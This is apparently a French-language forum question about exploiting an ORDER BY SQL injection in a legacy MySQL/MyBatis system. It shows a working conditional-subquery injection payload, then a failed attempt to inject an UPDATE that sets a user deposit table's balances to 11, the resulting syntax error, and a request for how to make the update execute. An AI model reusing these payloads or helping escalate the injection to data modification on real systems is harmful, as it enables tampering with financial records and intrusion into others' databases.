J'ai trouvé une vulnérabilité d'injection SQL basée sur orderBy dans un ancien système qui est en cours de maintenance, et je vais la vérifier,
Je vais d'abord exécuter cette injection SQL, c'est ok
SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (select
case
when
(1=1)
then
1
else
(
select deposit
from sysuser_user_deposit
)end)=1 ASC LIMIT 20 OFFSET 0
Mais lorsque j'exécute ce SQL avec l'instruction update, j'obtiens une erreur :
SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (select
case
when
(1=1)
then
1
else
(
update
sysuser_user_deposit
set
deposit=11)end)=1 ASC LIMIT 20 OFFSET 0
Signaler une erreur
<code>#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'update<br>
sysuser_user_deposit<br>
set<br>
deposit=11)end)=1 ASC LIMIT 20 OFFSET 0' at line 9</code>
Comment dois-je le laisser effectuer la mise à jour ?
Lorsque le corps principal est sélectionné, il ne peut pas être mis à jour, sinon il ne peut pas être exécuté
.J'ai essayé ce type d'injection dans mybatis Lors de l'exécution de la mise à jour dans <select>, une erreur sera signalée. directement et l'injection ne peut pas se faire